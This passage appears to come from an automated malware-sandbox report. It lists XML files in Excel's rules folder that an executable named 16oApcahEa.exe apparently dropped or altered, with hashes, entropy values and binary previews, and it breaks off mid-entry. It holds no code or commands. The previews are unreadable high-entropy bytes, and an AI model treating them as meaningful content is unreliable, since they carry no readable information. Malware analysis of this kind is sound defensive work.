Preview:	<?xmlQ.99.K..u].'[...H.8.F..`0.$6..DPq...BtX....)N...H..P/(.....w.8..,...v.Tk0].Y....1...G.!..e.5.iP.0>.=.`.12.(....."...sK~Z.'....\|`.^5..mq.p....3..,"........}..:..3.9,...A.Zu.c..U`...iS...W>..$.zO.xI....#..xd.Q.8.r.,A..:O..=.=1....\.....Y..@..V....DD../A.l...fKS......n.F.N:&.m.....#._g...q...e5.^.T...S.....<......n.qV4+q...l...a..Q.F..L....-.........<..H..A....0.`.6.K_.8......q..hX.r 'Dxz.R......vo..G..K...-S.W...M]eQ..0.Y...5C.t.......]Wy.L...w.3.e..l...AZ.^NL.RE]...U........C.\..s/...^&.a...g.!...:..K.........../...........U..f.O@(.a._...\[l......N.5R..C.G.z0.`}!.w.sx(.g.D...;..].6. b..#..Xj....!.N...)5..a>72N.D...^.......P.<p...<..p ....\|B.f.Op....."..B..j....4.....V.D.b.\.~2....V..!.[.k(.+...."...N.v.t.9Y.h`>`.dm1....?.O..j......!.*b..$....Pts..Q..'.E...fX6......W..c"..VI.%..fT.....z#...Q.s^9..wEd;6...IV.4......1q.\.>.......f..FC.6...Y..6^\.]..}6...Q....jT...8..d\|..........1..f.f......!GR4<.p.w..9........W#Z.hA-Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63053v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.800425188244224
Encrypted:	false
SSDEEP:	24:Yrbnb7Ro1Wm4+0EROkAKup2xkLzyXJ8cdZIYk32g2n6zKxm9pbD:YD7RtLERH1m2WyXJZ/vk2gLbJD
MD5:	B1C0E3F92542DF5C66A663B4E8062168
SHA1:	9DDE5AD7D1333845EC6404F6BFA91D8537E2AED9
SHA-256:	ED74264FE55024EDE65388D6F935BA46B82B2E819B6E3883863D72E38AC9BAC2
SHA-512:	3301C300DF97A44FCF506AEAA263FE8B68709E6E3E6E502A29CEE71C2D6DB740047FBA207D4B5747CF63838133F784A2F9E2A2A6A777B405FC0FEE0740B10CEE
Malicious:	false
Preview:	<?xml k\|A.......F...p..`...:p..UX.3<S.."%Z)G..{h.?/....3......&4_o..3.....-..^Hg7..B..Y...(..+...#.A...!?.Cf..6..uX.I...)....H....;M.....H..=...../.n..T..&.y.?.^....H.yJ...0, b..;L'$.s..MV3$...C9;.N=..^.>.g..'}.P6..T......\#yB.)V;629L.#lW....A...}.."...Qi$`...r.}...{..y.68...&..x:Di.......1.V...b.kF:...7#..^nr'.U..G.%..'.....LP.`.y.p..-."...>r....q......8....p..~Cl.~.rk..L.....>['..[..s..sq..'...C.\...p.?.2....)y....7...#.....&R....X.3.........[.VB~~.Cip..H{\|..(R.Dj<.1T.K..X..m5I....#.<d....tF...[.k.).....e.l.U4....}}........#......V.......h.?qw..d...'.... ;}.....^...?..\|'..'.....Z..l..W...:...F...9.h(eO.................j:."R..Os...dU.=2...)..CE..T.WEJ..v.{.......@1......2......m..\.Z....r-.ZY...na6.G..%[..q..xN.;.k..s...8.[..e.hb^G].W`..-...4D.....+......>.....G.aF.[........jYO4...]......,.!.I.z...u..-....d.....+.....UH..c<h.[z.E..]x-O..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63054v5.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2404
Entropy (8bit):	7.920311616181251
Encrypted:	false
SSDEEP:	48:DZZ74qQ75Mt7Ymcpi3wThcLMZzcbCBLooa3BDJD:D4qbe88cLMeM8xP
MD5:	4254F32F93E51AC1032B7988C7866DDD
SHA1:	165592483BEED24E77224B518DB9A05510414A74
SHA-256:	60EA6F397312A75C510CDCCE7182F23FB7F53805A49CD305EF9C39A18FAC4633
SHA-512:	2E6A59D26AB7AA5A3D48927633E7C0DC2585AD269C7DE37B148CCE5158FACF9F3EAF3E2763DB054D82935E581689F764D1A20CD596735D93F53B22DFB26518BB
Malicious:	false
Preview:	<?xml.6..'P{..A....G.f.sC.v..{..../...J....r.c...K.<.i.L.r.^D.0....I63.-.......s(...r.\|..M^.uW.....>.............:...o.QI+sA.,4.....2......4..c9..'...._fD......>RA.cv.......9kS...t........;.j..t.}\Q{mw.&Ip.W...me..9..W..F....}.&..N{....rP~^...7.`...t.kq.....,,N)..5,.G..#=Z.^.+-..G..uJ..q.,..;&...?7....[:.I..g.b-xf..f...!+C.....-.K......&..:..._.9v!8....%""..l'..3'.7..%.\|.>..^._..Ck.Nm+..d.!.q.f3......;.N.!..;..h.l..........g......1V...q.....E....X#B..]..........._.\|.[.-..M.l.....PC...8.;...1.b.......I...Jw........J...p#..R....Q..~{....aM........j...K..@.H....5...>............A.RQ......9...^.................l1@boO.J..5..gt(m?f.9N..j.U.C.yh..W.....X..w..,.ZK....G..T..]....w0.3.o5=.X...SFN.U..^J umK....d.*c).;.(..L.?'1....(.8.!...(t....~.... =C>, .f......4...G.E..v{~<...J..[B.\|.e...Gu.....k./.......\.6....A\2.....((.f........Tv.....t........"2.)..6.k.....;c..."..,...s......S..3..........H...=;&.......5f...~r=....O.aY...sMh.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63056v9.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3203
Entropy (8bit):	7.942077963503443
Encrypted:	false
SSDEEP:	96:nrUc6+UbkD/g3VFPFRb95ivIf2YGFTlykZ5bE:rUc6+JMP9h95iwf2YGlly25bE
MD5:	48C848F7CD1A988CA0623E341DA934A9
SHA1:	5108F8C7DD14B139C49B873D1B80524E6BCFB1DF
SHA-256:	41B3A7C768CEF953A68F478C02041C95C23EE764D17221369B034E3BF493A3DF
SHA-512:	086E2972BE36438EEE108888BE33AC90A66901AA3C63DF2D327AA079568C619298FEF647281333D3736DD4B74B0FE0EFDB3E6BDA8648C1E79E774793568EA84C
Malicious:	false
Preview:	<?xml.N......aHb.".2...._..E....b+...q...].#^....u...@....>l-l..s....=u.?4..1..}aJ...t!C.."l.O....,..d.%b.[..r.W<._G...s.(0...sBj:..F.pl.SV..]..j...gx9..W....I&+ay..d/..\~....._....!\.x4..bU......&N%.7..l..}>...F...F......]Dl.....TeR..[...`..........RZ...:.v.P+..."...m.9pS..)3S.....X7.j..E..Z=0..W....:;O...8.A....8....0.+6U..Yp@,.d..)>..1T..C=.;.X`.lPw:...!$.9.sP.:.....n..O..nm..o..,.<^....7X.}.[i.i.;.~7...p[....8....~.A..fB.C{.'r..j.......s.A..z.0..x.r...k_..._.....,\|..+Q8y.,..e.(....(...k..D.......c.%y..{.]....+..=....G.^_...6..ym....a..g...B\|../.3JI..ld.c\.......*:.=...$.(..Z.h........RW..+...j.1R^k..!...."2.z.{iF,c.r%....2...C.t....s..3.dD.<8....Y.4....U.<.p<T,....U..~..H.h..Ao.&. ......m.S.RaGyf.]k.BU.=Y........... y.v..k`..`.O.$L8N.i.\..)..!.MZk.K3....K=..k=."..(...Rt`..;.i..>.}...........)).r.U...&..../,.i..V8.P6.....q.8!..4\|.._..T..#`.....GM.o.....!WS/...}9..@.E...N....G......./?z;QE.?....."xi.p....6...$.3......Q.82

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63057v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2512
Entropy (8bit):	7.917678576455361
Encrypted:	false
SSDEEP:	48:S2toa3TSxmE16sBWzXUqQY8O1bGVInDL7STkncWqFFyMJY5zDt1PfUiJD:Rtoa3ex14sszXRQY8VE7ST4uyyy5
MD5:	DDF2E2179F11B1EE42290223DD7390E6
SHA1:	DE995FEA7187D23CF0F8B80D186CEFBFF90647C4
SHA-256:	93E409A9F567EC092D901D07D6532D3568FB43CD10F90EC366CF2AF41C4378B0
SHA-512:	10A9BA20300B3F7303D8110C7B5B5916CE1A13C3A0D8C7B914C4E1A3B8CE393516A2A42E7EE79C4786D046882B9AAB5B5C6F172835C9749AF4B3917B57927232
Malicious:	false
Preview:	<?xml..^G.~.......S.S.2A[../..uG.....3?.6...P%u.ZGB."I.7........o `...-e.:..}.7.GC.i....Q>8<..Q.q!.dg...E...q....J ".....]....V~.x...).<......J....h....B...8]."..Q.Wq..........FO`d...f..s+.....>?.44,Z.l+u...).TWF[.-...X...x].R..!i.....2.a.[}..$...VY+..!z...n_P...1...%.R...w.m.6!.By..OuP...jc....v..P.....M.l.X.,8...m.}`.........J.I7$...1..y. g..-..\|..q)dA...m.k...H.WV.Y........m..s..VC.I....6.G.D..~......:...3m.T....t=.\|sy..Q.Y.d.%c.0..u..8.2.....mZa.?s..Z...H.\|.pw^...#.A...6c..3w^K...&..zL...>.;P.].....S..$Hd.f..@........K..\|b...h......8....4hwp.....+.......W.]...[H..+_..8E..g..~ ...x.V...u.<.T.X4p.Ab.j...eT....d.m.....MT0.:..O...-.......r.+..8gz3..J.......WY....}.9?j_...5....d...Rh...O....v...W...bx/.j..z....V...1.n4.X..v5.~.rp.z.v....W..2q.m.{..1.6..#.3._TG.S....lR<.8...:.+g...P.Ksj.0....D.}....d.....f...2.;.Vx.........._2v...1...g{......7.....sXZ.......4@.z.F.t..6....P..z.;..(.]eb.e..j..$...}..K@.{.l#.PP.J7..]\...p{...g.C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63058v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.8387522160573395
Encrypted:	false
SSDEEP:	24:5DUTQgH7jCCRBtAIQsIgU8NJ/fDqJ40qwdi7yTCj793IlCEDnV73d9pbD:SXCCRoAIgRJXDq3qwke2HxIlCEDB3XJD
MD5:	340830CAB12E6D246AC0CA6581C67029
SHA1:	B036FB4879281394AC17A6EF3EB5ABF653694145
SHA-256:	591284B64D24BFD98C6F22A92432DCD16747D65476E055675DD8CCBFC48385C6
SHA-512:	40BFB292DAF6D4146100B222F5805EF6EBE7B110FDF9ECE702B7F73FCB0F3A46623AD0C745BD55DD32CAF6E69E9FB1F1FC5161B17F672456656EEEFEF786C2B1
Malicious:	false
Preview:	<?xml.Ej..b....f...........r:.N.c..../Kir..)Th....\I.\..jt.....l.}d..Q..K..[{.+.(.,..z...y.A....;....zc..m.......wST.K[..B....M...h...Bf....?G.^...i`..-.....A.L...z........A\|.....Iw......h.S.?.2.i-....}.2.;..].........6N.h..v~.fv...k.'."......-m....(..v(.....P.CZ.X..=..V.....>.~....9....q2..n.....i...m...[....y..7.....w.../..Re...g.X.m.G.......fO.._........'MJ.!g.&.,...6.Zci...J1..:G`.\.g.Z...y..!..u...\|.......1.&0D.......6...d"....R..B..n..U.....[.FD.X>.\|52.d-.j(.!R.dlB..1kV.Ud8$Db....D.g...r.,._...GF...m.....Q.!C...XJM..r.....}...B....(Ir,8.4j.B..>.....!;...X?.c.....Y..Q.....8...;.0p..!h....c....".[44}.ei...h5..\.....<.t...{.[.nQ ?....x..oN...9._..TXz>q>.....ox..jJ_..s.......(...GUmZ.A$. +u@ ..s-i.95r..9n........S...2.p)D..k.p...\|..S.8...5..tR&..u.2..FgU..I.wW..C..h..i..Ak.~@.s...c....\....6.,Ei.'M..KU.>..y.!...!.P{.[.S2..q...,....#.u.(....3.8I.......@.*j.o3ej..5vr.2..ry.(..Fg...Q..M.....b....zt..1Z....d/.[........D...cAt.2..t.P..5....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.783561431475315
Encrypted:	false
SSDEEP:	24:JBaeUgzwaSGi2asSpuAmp/Qm6hrXq7q8r+bN9pbD:JBzJQyp//cDq7zcJD
MD5:	05B7862DF4C89516D9A9AB867882325B
SHA1:	B44B06CD4D6C775C028E451273E85EB156727F4F
SHA-256:	4A60D14AD4530DC7CECEFC81732E522E0FD20D46D3B6E22D7F57FEA06CA2A686
SHA-512:	9CEB3206527E620E707B3CE7BBE6B6F866112C090EC451EA74D52FA4984B9FE23510EE94AE861A765302327C99A55965C675613CA0D6EE5640D235E583DD966D
Malicious:	false
Preview:	<?xmlP6.."C../.W\|.[L.........i.U..i..q.%...t....F..\|C.X>GU.&.x(.../.BM.i.9.zQ..,...o.2<.WQ.......dO...9.J=.?....R..U:\...j..via.4wTu(......'.TI.M_r.8~.$.`.Ohr....?&@.4_..&..'..}A.2....!7 .Pd.....R.].m...4'..=.8V.......5...F.X..4.,...!hp.>9.../ ...Vzx....<.J;C.z&...m..esfKF..$.g.8.2.......D;..'.8..L.U..<o]...M.0c..Y\;k..S.....Az...t....9.Z.....y..p[D...t..B.R_....P..}.9.b.h...$.q.r...E..)...%..uA}.w.$.`.....v.j.%...j..u.;.....Y.........'.=.\....2...r...H....8q.N.p...h....6.h..............Z..di....E.1Q....h.\.?.....J._..\|9G.......t..1~..2ED_..h....J......0./;....b.7.8w.=.~..2..-L%..3..k...B..kr.n..&..^Z,oz....5..o....C...X..A...^o.Q.f..n!y....O8..1.%W.>.Yg...R.q..Wt..B...8....=SS~.up....}..'...\|...o.jT._m/.D.^.* .q..T^..c....>.......f)M...yd}3x%.....j.C.tQu`......k.~&A<.I<...K.]...u.....7...JN..U...?.+C...../.D...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.811658914040457
Encrypted:	false
SSDEEP:	24:03+WfzYewd3+rUNgbm9W7oewWO2zOv9BVsf2ZcvN9pbD:g+WbYewd2UNgbm9MsZ2qVBVm28HJD
MD5:	CA8DE6DF5C2545F9D0A55A2EE44C8B13
SHA1:	35516FE92F910F64435168BF120351EE1365C916
SHA-256:	D520C3DCD9F642C86325EC5018F53E5C6053460D8D3A1FC3DF1BA4651DD467A2
SHA-512:	E7570588AE3A427DC7E2A4B75677753B927D388FD448A77D89321C131FCF664645F6C84745E46D2C11D97E34DD544908E616A937FAA8D92749E9C7A5657048B4
Malicious:	false
Preview:	<?xml.........V'V...v.....~2.NJ.WpM;.p.Ktp..8`...`..\|......`?..../.7,.K...R_..I...#..?..sFm..\|F`m....V..:..9..qA.....<..`j~..`.:W.C.....v.+...2I....m..# .n.....&T.ZK..H`..Y.r...O..M<]%-E @..nkM.3Bx.%^qg....?.{y.......oV....F..r..m.......R.{.oW..J.4YX...(.....%M..\z]C......#....06.......elV.]0......(H...._.KB..Z/g..tG6!..g..,U-..6.7".2.n..v..M...>.E.E.]d.3.....y..........!-..}.S.6..../.q..i2.`.E....c.]6.....n..Tpm.A..Z.y..V.D.A.....wH...a.(...h..4d .U...CG...n.I"..^...n........K.7...k.V.n.... ...x.G^Dc...6d...V.-}.....}...{..?.k.$........_.RXe..A....3_...[h....'.i......f..f.!.dx....i.l....'m.....T.Cs7...L).B?L.G...V.r..`....mq.dW.E.X.Yl..%..A..Ce..r.6..^.a..)....p=.{.4...[PVc'b.j~2.......t....I$.......AD.......1..%..@3M......y.aT.s.z.o....{..G.9..3.(.L.O.....[X.......P.~../.............B ....q...d.].v.~b....M...2su.}....{...T.W..v1WO.6>.+T.L@.ml.u.........Q8..x...HJ....,.V.I..../.Q...0...}F../=....G..*..u..W..bt.z<.5q...o.B....\|V...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.79902814583512
Encrypted:	false
SSDEEP:	24:Ff70Q3jmGRJpguQAccA8UBLkjkfLnfCNvOV93vQWBPPMcz0bZiqdpYm9pbD:rfrUNGe6NSBB3F0HdpYYJD
MD5:	3609FA881749C486DAC0A4BE6C767E29
SHA1:	447203ACAEC800A0B220E5A8E94D2C62484CFF54
SHA-256:	FC1547BDC372D8FBB5F408875A0ED312E5E7457B0F04E3D3D76171A37581ED83
SHA-512:	FB47F52C115940254C078DE439F04A15049CF901ED8BF72235B076813AB33829F49152C7C3A2A47A3EEFFE8975484C50C7AB587EE6824BB14B6E5D6C99F80B78
Malicious:	false
Preview:	<?xml6..D\|8p....].......u2-.....?.../YW.4i....'.bX.$Qu<.7L.u?K..b...n...0g.3..4..dML...W.J;..m..6.J...8...H.&.c.Y.Ax...Z....._.;^.=.5.Y..x=. ..H.....e..2]../.D.<.....y...W.9..S...2..4o..[..F.........n6....5v]v.Z.h(..U7h....L..O&.k..%..=..&/..D\.....my.F4rSD.%.S........M..sLy.......Y.sx`.......@...D.....f...S...o....@........+'p..c...n/h......x%...2.... ..e.>....O.....&.\|.F...p.u.9.....`y.-.<..HCo....p..(1..nW..YA..K............!..B.....f(K.<V...+.?.4... .D...Q.U{.......6...3-..7v..3...`7.N...w._o..........$9.p.#aZ...f<N.....dW...Us..hp..{.0}....v....>.{.7.M.....=.;...S...(....{......./..........6....Y..D1.&....X7...n.@.....tR..i.Y.k..^~.......<w.P.3..u3.V.J..1........LT.La..iI:i.S...\../.Vi.~(].v.>)...-.._G...m.....T.afkC.....2s.$....Jfc...._\|....$.3f..nxvJdo..z3o.0...?..#...*3..Y.o........\e$..{._.].....V6L....Tg.^.VR.....&.0\S...^..sk....V.GC..XO.-.8\|.T]FS6'pz"Z..S.6.v.<c...b.A!../RU.<.YW...Zv3u..G0.;....g..+...f......\|].m.fi#.}....<E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.933973947149926
Encrypted:	false
SSDEEP:	96:MMnWnW/s6tNqDoL/QpBS8ujuA+raXugKWX5W6LT3:jWn0NjbQpBpQuOX/xVLT3
MD5:	5E11ED01C9E649EC00193F5EF5FDEBA9
SHA1:	C27B6A6E9EBC6B1EFB531BDE0D0A7BE8772FE553
SHA-256:	17B785D1EEA1F5199F3B25EC8038E90A354F13DBDC1E58F12D6F5BAE131B88A8
SHA-512:	BD6B62715D9554C63D9819188F0A6322EC762B6BE27857BEC83BE58D1EAE4D74287E0F6789C1D43655465CC772A659CA675E15334C1BC131AFA9BEA0675804B3
Malicious:	false
Preview:	<?xmla......>....m...\lY.SC>.N..L..].'..'.B..S(.1...s...........qm..n.].D../d^dp...6b........I..V..N._AD.3TT.....N6!.=.E....=c0.^...+..v.!..f6....!?...d.4p.7....2....W1....\.H..M.....?..../.;...sT..[..Np......:I.......N$+.YS..).......Dq......a.0.C...3.`.}...<.T/......,...y.y...K.W...0....dr.`u.t....+e....a...$..u.9'=.JR......w5.7.J...,.J....S....f$.r..l..Z:\.KQT.AM..4`.H.m..i....Z1....Yz.~..o........L..z=..6>...."....y....o..=...q..p....#..+.L..!..K./.5...!=K.p...~.8.V.a..X...(..U..pl.F...@V9^(.. ...D6.)r.....j..8GLB.L....gn.........N\|.....R..............GeUc/..B..?.-.M0..l..Y...#.<-%J..^o....B..a..K..V.....?5.+&.._f._..B.A/e..6.=./$..(C..q.G.y.l..+..R.Z.t@...C=..v..k2.^..Q....]Q.....,..\o. ......<R...@b...<.C....9....w@....6.{R...]C.\|1.C...\....s=....is _.V...>......s'H%...d..]...fp.a+...F...A0.<..>.gf....J..>{.x...2%.Yn...N2...`.X..2.!b.......-.....l..m.KR.2..h.8.6]T....Z..`....:[.).F...e.).]..&.m......v.....z.>....0..q.lz.U..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.906724626397921
Encrypted:	false
SSDEEP:	48:qFwmWvSy0gppeCEgQWzTvxHaMsKcNlhoREt8uu4HJD:qFwp65sQEZHPsb8uu4B
MD5:	5C4DF59AADCFCC5A20B2F79A2C9D4138
SHA1:	81F53A47122041559B3DE2E205438159710B835A
SHA-256:	2A26FA7F868A0320E7518BC026EA46FC6043D2A23200C19413FFF7265003B8E2
SHA-512:	DEEBBD5691C89FA40D6377F6F328E1876961D0DB4ADDB39C1FDD778F4155953FB9B95225BDDCAFA759650F1341B19C6125FE5AA29489AF623BD858BEABCD61ED
Malicious:	false
Preview:	<?xmlL-2].8.LX."@6....l........M['X.h.~..tdYp..B....$...a.....Q.......w...0.......2....}!.v81...Hc(Z/K'_LK,...A..w/N.......Z =...z...L..O).m.tN..8_.M6.1)Y.....)j...u...^..;..R.r\|CO9g..~.pD.X.......0E[Ys..X+.o..I.Ci.......e..8...<.'#:9.].z.{u..Vw.lR9"..ff>.gBz@....I.r.M8..s.f].S.T...6.Fi_.n..b.7...im.7;.....s...H.....EQ.b.>T.&.. ....O;..l .....:..\{.\|.:.w.....[..m.>&.....P....Y... ......>'...m.w.f7..>z./.~...M...{./k}0i.I..78..4.s...d..L[..O....I3.......H./o @....Aa..z.....l........#N.....A.b6(...p...I..s.....G..x].J$.iBm.I6q..x...4.xOhC<..N;.+..j..{g..i......h.........K....m@0.....Is...}..$T.t.]...l.....p>XVEZ4}..;39~.......W..).N.....6.&.u.~F..V..9......([.G...v.t.}...-.J.a.%L.wg...&._..7.6..N&..+..3..\....B...j2.z....h3.$.cN..y....A..W...Y_.w.q..Q.6.d.O.i.h"V.....!c}.8T.zM.I>1....AB..coj.)...W.=}.....)`3.?A.>ng.8Po.<.......FAv"'..v.H....2.&.i....g.A&.y.7....!.-.......>..37.pc2q.#.B....1.@.iH...5^.....8Ax.l..m0...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.842985117808771
Encrypted:	false
SSDEEP:	24:rs9+FJKOTJwhb3SHRnrveXB/+yW3SB+qB2j/sCFFUmMDPCPhMPGPAujion59pbD:QczK+YiHRnrQB/+ywSA82o2QqjJD
MD5:	9B36E368F5F59D4B02046BCB6286F75C
SHA1:	4E5FD923F62B13D8B128C0FBE28E2E876225830A
SHA-256:	1B90762C3E1094C2429555E1E3C65D7EA8885EC5CE178069FB9735BD1C788F30
SHA-512:	94C0F8AE9E52AC59928B740B30817B55282F999BAE0211BED7AB0AF0744872E8229AE351B270C784BB02419D8204F41648F958FB54571C4C7456264E8D05292B
Malicious:	false
Preview:	<?xml.%..V6%:.3.X[.i0...)......v.b.>2...9..........1..s8@O.E!..2y.Z..-..R.'..~.Aze"..~....D>...vDnIG.i'....U..P...h..m.e.....LE...<...zh:.H.V.L2...,.=..oF+.J...,$}.y./U.H..VK.\x/.n...~...wD.....xb..+.L....z7..:...r...$.......^........:PqWr.,.... ...h)\|.^..w...U...hL..yY.>j....6.0@C....6Io!.T..wc._.I.F..r..i..y.,.....0l.?......J8...\f.H....S8;...........O..3...Ii..=L...q.q...B.8X.N.f.......r.`#eo......]H.x-v5......y}jd...$i..0...t.&W.[l:....<...Y......Y....z..w..5...y.).O....N....+G<!..N...[4..-7-..!B..Q.y.Q.{.C.xL.=......s.n.H?>.L..Wb.ZY...p.....I...4.'.1G.F.".K.j."...bc...}J.I.(..c\..l..~.....v...~.\v(.bn1.V}Y..B.b...*._l.>..]0t..b...`(.'.[...6....jC."..!...nX.f.;.....2..'..x...'M...U..admF..V.v..!.-.3....,.a..I.".C....O../.......[Uo....Zcz.(."=..M,CP.../...t..M0......(....P.).ux.E=.\|.d.....Z.."...';.C....^...g06....t;...Vyj4..1.W..2..\....'.@.@.^....;.&P]..O.....$.p1....H...\.~2S..Q'[....w.{....l.A3._8.._.s.H.....#0......H~...p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.712347792874636
Encrypted:	false
SSDEEP:	12:HrPJK0JbOFpqzpfHaQseeXp2bXAiAUNPi0kkYrROlK0PH1H5rAN6CwkA39M2ciik:HrPJK0JqFpqzxHn/eXEbWoPiROo0f15Z
MD5:	EB5B296A382CF7650D94D1C96EBDA863
SHA1:	4A7E46DF0E0E753A34D74DCFAAB5345359BEDE0C
SHA-256:	F8112B494E0FB564515650E7D8AD871133D35113B0994D44203931E1A94E24AB
SHA-512:	CF74E43739DF0AACF59017FC211F97002EDE011611F20D7EA726FDF010A612A26662E28CC65F027E3E296A71B7E2A7DBD5857785FA365D8664A50C3AD525A7EC
Malicious:	false
Preview:	<?xml.H3.......j.......lweZ9e.....).S..C.C.5..\|V..7.....;.X.N..R...,..R.w}.r.../.....}O.T. \|.p...1.$$[.a..:.c.L.....2U............*..'...h$a];..a./....o.zr...h...>...U.;,.m.8....q...u.!.....T.W?v...#.....1...v.p.rFV.=...fZ..6,+;.r......1.....m.W...mby.){6.h.>5.......%m......N.&_U....o..?.k....0e}...M]..A7....Xh}u3\|..Y.I....g@Uf.?.Cr...D..q....4^..H..X!..,.D;.s....Vz.u.....e..e.L^.5.u.%.l.......ET...y}..1....Hr7...JGC....a.......=.Yt........C.I..,[g.....h..PvV.p..2x.b..8......4(.a..W.{e......]Q&....s...!..I.b.4N.Q.R...y.....s....(~1$..k.m!..}m}T.~De...o.G.b.i....E.z...d;.tY..I..7K).`.,Z.2.h.Z..3TDK.....}..@=KR8....S&Kni..4.......3;.....T.d.vxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.864673525929356
Encrypted:	false
SSDEEP:	24:qv5H8SgOT9MG3WCydbVHPCR3kUAxXslmOC6mXo52XrYPfWDbhfdN00hGH9pbD:qvJ79AvWlms8o5wsPeDbC00JD
MD5:	74913176A01C4BE3C37C0AB298CE8D40
SHA1:	0C881DD51BADA149468CDFF1FE069D2E0BAFA204
SHA-256:	3B67F1C3434F7B52DC5C61198E827643E0B6F3BCED1492870F6BF788311FC873
SHA-512:	3D80C7D4C0F313B1F283139C30A89788D2F715F0D68444373D2014D29A7A8F2737718415522A47E62E19DC7FD98A3024AF3697EFACA1E262F10BB77E5D95CB3E
Malicious:	false
Preview:	<?xml...MK..0Th.*.:......et..(].v......Mt....+........Y.W~.\|/t3ZH..}..;....c@@'.E...\|M..tUUM...@fA.....R...?...WW.......y.....I..d..e<..`.....\V]....x.B.4WZ~.%!..S......../..g.RL...5.p..I..a.......(.a..@...X....L.$.dW...A9h-X.#..t.X..7.v.$....yv^....2.....p?..l.`.:&.W.gx`O....x.._......0...8.&2..Hr..}./...3..Fyi.._..(j..#..~l....].V........[....=......Hmh..~.l.pdwi..1yNF?Q'L......&Q...1F.&.......n.=F7q.1.3.4..../P<..&.o..ll...-...!..).js.."..N5.x;..+h...%j.^?.v..L..j.j.A:Z<.6.,..@F...&.s.f6 ...$..23...;.de{.8.b......F.zH...t...(n..Q_..;.VNg.G&.......S....x....T.....wc....D)w.1.....m..d.hC7N. ~.l..<.'Z...P[.S.0;...p..U..AU....pv.H..2....u..tg.Q.3....'=..../... 1..zI}Y..R..i/S@.-...0j;s._....idW.~...3....B...:..oo.4.x..F..odi..G.P...6..\|.>...-......hgy....D.\|.X%...X..:E.5.<tXT..(..<...2%Mo.2..!.5.O.2......hx.3&}.~.d!...M..U...V..vO........B.4.2.p.....K........c..B.>eM>.)...az.r......~<..V.# n.0"....5w.6^.y1\|^...lGZ.0.>.~dr..L0.8..c.....J...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.647534965889905
Encrypted:	false
SSDEEP:	12:ebEF4KLZd2V+DLTEceFWDjpfaA9HIc2BUf69M5Kc9Gh5q9M2cii9a:EEFVL2V+DLXLdafBUfO09Grq9pbD
MD5:	B716C18FB1837966874BF4B0AF663398
SHA1:	398C9D6AC373D2077CF273C232BC3507717F86E3
SHA-256:	B7F1D5059F7CCCD5D16E7CFA668C216651F01F31519C99CB5E0082D68EED8A8A
SHA-512:	3DD2BBC9A8B34F5EBA4E72B9ED3C6456E85A10E4A6B1D40207986630FE7DF5AC5A4965409E08384E445B710A1B101D5988A18498E9ED75DC9C903A939513A7DB
Malicious:	false
